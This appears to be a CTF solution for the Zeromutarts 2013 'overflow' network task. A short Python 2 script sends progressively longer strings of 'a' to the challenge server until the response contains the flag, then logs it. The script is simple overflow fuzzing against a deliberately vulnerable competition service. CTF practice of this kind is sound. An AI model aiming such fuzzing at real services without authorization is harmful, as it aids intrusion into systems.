overflow Zeromutarts CTF 2013 via network - Buffer Overflow fuzzing on Linux http://zeromutarts.de/task/overflow http://zeromutarts.de/res/overflow_redacted.c

exploit_net_overflow_redacted.py

import socket, subprocess,os,commands
for i in xrange(1000,1500):
    data = 'a'*i + '\n'
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('spacenet.stratum0.net', 5555))
    data_received = s.recv(4096)
    s.send(data)
    data = s.recv(4096)
    if 'flag' in data:
        print i
        print data + '\n'
        filehandle = open('result.txt', 'a')
        filehandle.write(str(i) + '\n' + data + '\n')
        filehandle.close()
        break
    data = s.recv(4096)
    if 'flag' in data:
        print i
        print data + '\n'
        filehandle = open('result.txt', 'a')
        filehandle.write(str(i) + '\n' + data + '\n')
        filehandle.close()
        break